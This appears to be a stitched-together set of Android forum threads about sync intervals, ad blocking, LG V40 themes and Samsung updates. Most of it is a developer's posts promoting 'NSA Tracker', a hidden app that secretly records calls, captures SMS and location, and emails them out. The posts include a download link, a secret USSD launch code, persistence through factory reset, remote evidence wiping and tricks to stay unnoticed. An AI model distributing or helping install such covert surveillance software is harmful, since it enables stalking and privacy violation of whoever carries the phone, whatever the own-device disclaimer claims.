Feeling really stupid here... there should be a way to do this, but for the life of me, I can't figure it out.
I want my gmail, facebook, newsreader, etc... to all fetch data at the same time and on the same interval. I see tantalizing clues here and there that this is possible and should be easy, but I can't get it.
Relevant info:
Moto X
Republic Wireless
4.2.2
No Root
According to RW, I should have 4.4.2 in a couple of weeks, if that changes anything.
Thanks
Tasker could work, but needs root.
Not sure of anything else myself. Will be tricky cause Google syncs, and apps like Facebook are pushes..... Very different things.

You could use something like juice defender to only allow a data connection at set intervals.....but if you're a moderate to heavy user, it will consume more battery than it saves.
If you're a very light user, well then it may be beneficial.
Thank you!

I am looking for some different fonts I can download without having ads put up in my notification panel. I've tried a couple from the PlayStore, but I got crazy ads because of them even though I have a blocker.
Sent from where the wind begins....
What blocker are you using? Does it get updates? Can you blacklist host names with it? If so, run tcpdump so it's empty. Then make an ad appear so the tcp logs it. Now read the tcp log to see host names and blacklist the ones bringing ads.
Another way...... If you're using a font application that's bringing ads, you can use an app like android tuner to revoke it's network permissions.

Using AdAway. I've always wondered though I'd the was a better alternative to it.
Never heard of Android Tuner, but will look into it. Sounds interesting.

Android tuner has many, many features! If you open it and select "app manager" you will see a "perms" tab, or permissions. Touch that and let it load. Once it's loaded touch the "perms" category at the bottom so you can see all your apps. Now scroll down to rogue app abd touch it. You can now revoke permissions. Like Facebook messenger needs half it's permissions revoked. The font app you use probably doesn't need full network access, and that's what is bringing the ads in. Block it, and test. Use caution when revoking permissions. Revoking the wrong one may break the apps function. If it does, just unblock it. Never revoke system app permissions.

Update 17 June 2016
For anybody who ever lost their phones.
There's few sufficient phone tracking application for Android that still can work after Factory Reset. If you lose your phone and the picker doesn't want to return it back to you, all he need to do is reset your phone and Android Device Manager will down right after. You may lose your phone forever.
NSA Tracker is an invisible Android Phone Tracking Application that can help you you:
1. Record all your phone calls into audio file
2. listen to your SMS incoming and outgoing
3. Hourly record your device location.
4. All information will be attached and sent to your own email.
My app doesn't have any icon on device screen, opened by USSD code with password protected, so if anyone illegally possess your device, he will certainly not aware that the NSA Tracker was installed and is running. This app doesn't use intermediate server, so you can be free from worrying about privacy. NSA Tracker support Gmail, Yahoo mail, Hotmail and Outlook Mail.
NSA Tracker will need your email address and email password to send email to you. With the above mentioned information that she's listening, there will be a lot of email that will be sent to you everyday. So it's better that you give her a new email account.
I- How to install
Download NSA Tracker from this link below:
https://drive.google.com/open?id=0Bxgc8Lcuu3PWNHFmWlRiemprb2c
II- How to open
For the first-time start up, NSA Tracker will be opened by NSA Helper (app-to-app opening). But from the second time afterwards, you have to open it using USSD code:
*2718*password# -->call (Please be reminded that 2.718 is mathematical constant e)
After the first time, you can remove NSA Helper. don't forget the USSD code above to open NSA Tracker.
III- On Root Device
If your device is rooted with superSU installed, NSA Tracker can install itself (named NSA Service) into /system/app/ folder. If NSA Service is successfully installed, it will be very difficult to uninstall it, even factory reset will not be able to remove it. After Factory Reset, NSA Service still can run immediately without the need of re-configuration and continue send email to you.
V- Why I develop it
As mentioned above, I don't want any of us lose our devices. So this app is expected to be installed on your own device. In some countries or states, phone call recording may be illegal without the permission of one and/or two callers. So you have to make sure by yourself that, call recording is legal in your country. You can turn it off.
VI-Disclaimer
By installing NSA Tracker, you acknowledge that the usage or redistribution of NSA Tracker, herein after referred to as This App, conforms to all applicable laws in your country. This App will be installed only on your own devices. Any behavior that trying to redistributing This App or to install This App on other people's devices, includes but not limited to smart phones, tablets, smart watch... without their prior permission is illicit. You have to bear full liability for that kind of behavior. The developers of This App assume no liability for any kind of law violation regarding to your usage or redistribution of This App.

Hope you enjoy my app and don't do evil things with it.
New update on Version
1. NSA Tracker work more persistent.
2. Update Report form.
3. Fix bug lost email
4. Minor interface update.
New update for XDA member: no limitation on free version for SMS listening and GPS Location report. Link update.
Well, a member inbox me ask about whether it can send phone activities after get Internet Connection. The answer is yes. It will store everything in its own database. When the phone resume internet connection, It will start re-sending email to you. There is only one case that cause my app fails, that is when you make a phone call longer than two hours and the recording file size is larger than 25 Mb. Google Email will not accept that size and NSA Tracker will delete the file without sending it to you.
The reason why I don't use server is that, your very sensitive data if upload onto a server, will face security threat. Without server, i don't have to maintain anythings and you don't have to pay any extra money. Pay one- use forever.
hi,
what if my phone is non-root. what are the disadvantage of this??
sample - if my phone is factory reset it will remove the "NSA Tracker" or not?

Hello,
If your phone is not root, you could not install NSA Service to system/app folder. So factory reset will remove every thing, you can not track it after reset. On unroot device, you still can install Smart Call Recorder and then NSA Tracker and NSA Tracker is still invisible.
thanks for the answer.
i think about it for rooting my device.

Your're welcome.
New release will be public today or tomorrow. New function to be added:
Remote configuration/ Remote Configuration Clearance (evident clearance)/ Remotely Turning On Tracking: by 144-character encrypted SMS message.
New function has been added on latest release on NSA Tracker 1.1.2. Now you can:
1. Remotely configure NSA Tracker through SMS
2. Remotely clear all configuration (evidence clearance if you think your phone will not be back anymore)
3. Remotely turn on tracking.
This function was added as per request of an xda member. But frankly speaking, I think only the No. 2 is useful.

Hello tiancris,
Are you in Manila?
I miss Makati so much.
Some small modification had been made. App name change to Phone Tracker and Phone Service.
Phone service now register for phone call recording which is faster than any call recording application.
With best regards,

Small modification had been made in 1.1.4 version. Ram consumption less than 4Mb, more stable.
Update installation manual link.
@Cuong Phan nice idea but a question.
1. i see the app is recording all this information throughout the day and sending you emails with the info, throughout the day. Is the info stored on the phone indefinitely or deleted after the email is sent?
2. due to privacy concerns, i keep GPS and location providers off and use other programs to limit connectivity. how is the app gathering the devices location?
Again, thanks for the work on this. seems very interesting, especially for those of us who have had a phone stolen.
Dear Sherrif,
The app has its own database that store pending emails. When internet connection is off it will stay dormant and waiting. When email is sent to you, all data for that email will be deleted from internal storage.
2. My app will not ask user to turn on GPS (that behavior can make my app visible to user) so when location is off, it could not get location report. But Google Maps usually & publicly request location to be turned on, and once it get location turned on, it never turn location back off state ( unless user turn it off themselves). That's the logic of my app, and it's usually successful in gathering device location.
@Cuong Phan thanks for the info. Will try and report back... i like the idea of this

[/COLOR]I have a problem with the e mail enter
Dear Bruce,
It's quite ridiculous that I was also unable to enter into my blogspot link for a while, but now it's okay without any action (may be Google down??? quire ridiculous ha?). However i just update the link, directly to the article. You may try one more time.
I know on some devices, updating email may occur some errors, so I have shown instruction step-by-step in red color. You'd better try from:
1. Turn off NSA Tracker completely (completely mean when you open it, it's reopen, not resume from pause. You can restart your phone and reopen NSA Tracker to complete it).
2. Just try to re-update email again.
3. Even testing email is not successful, email and password had been updated. You may try to make a phone call to anybody for a few seconds to test whether NSA Tracker can send to you call recording email or not.
If problem still persist, email me again.
4. You're using a Moto G3, so it's possibly similar to my HTC One E8. It has an S-ON mechanism, that block all modification of system folder. So even your phone is rooted, it's still impossible for SuperSU to change system file unless your phone is S-OFF. That why the NSA said that the process may not be successful. You may try how to S-OFF your device here, using Sunshine tool. It costs 25 USD (but it worths because after S-OFF, your device is free to install other ROMs)

Hey guys so the V40 isn't directly available in Canada, albeit is available via B&O.
I am on the fence about pulling the trigger and getting it that way. I may skip it and try the mate 20 pro in all honesty.
Anyway in the meantime I'm getting more emails than expected about several themes crashing on it which in a way is somewhat expected (that they crash) but I mean at the same time none of my themes state that the V40 is supported.
That being said I'd kinda like to support it and may have to do it blind. So this is where I need your help. I need someone to send me some system apps. I need the framework-res, lge-res (both found in system\framework), systemui.apk, contacts, settings, lghome, lgmusic for now which are in system\priv-app.
You don't need root to copy any of these. Any third party file manager app should work fine.
If anyone can help me out I can bring up a few themes and then I'll likely need some testers. If interested reply
You just tell me exactly what to do and I'll send you whatever you need! I can't wait to have your themes on this phone!

I was looking at one today, with 8.1 (I think) will it be able to have a dark theme like the V30 Pixel dark you released? Sorry, off topic but I'm holding off buying it until I see if they release the 128GB T-Mobile version like they did with the V30.
Hi I just tried the V40 launcher on my G6 with your Pixel theme and it's great I have the Google feed etc...do you know if there's anyway to hide the app drawer button like the G7/V40?
Hello. I am looking for LG V40 stock wallpapers for days, and there is nothing. Can someone post them here?
Ok I have what I need. Seems people are starting to go all over the place. I'm shutting this thread down.
I learned that Samsung forces security updates, is there a way to disable the phone from not updating? It literally says you can only delay it 3 times before there's a forced update.
This is insane!
Hope that isn't true.
Sadly it could be...
I too want to have control over that and hope there's going to be a solution.

I could not find any way to disable it even through developer options enabled. This is very very ****ty to say the least.
There is a workaround: install adhell3 and block the Samsung update server Ip/domain.
I don't know their IP but you can scan it with Wireshark or another network sniffer.
Just install Wireshark (or another) on computer, enable proxy http capture... and force manual update checking to see the IP
The fact is that is possible they push their securitypatch from another server or from channel and you are screwed ahah
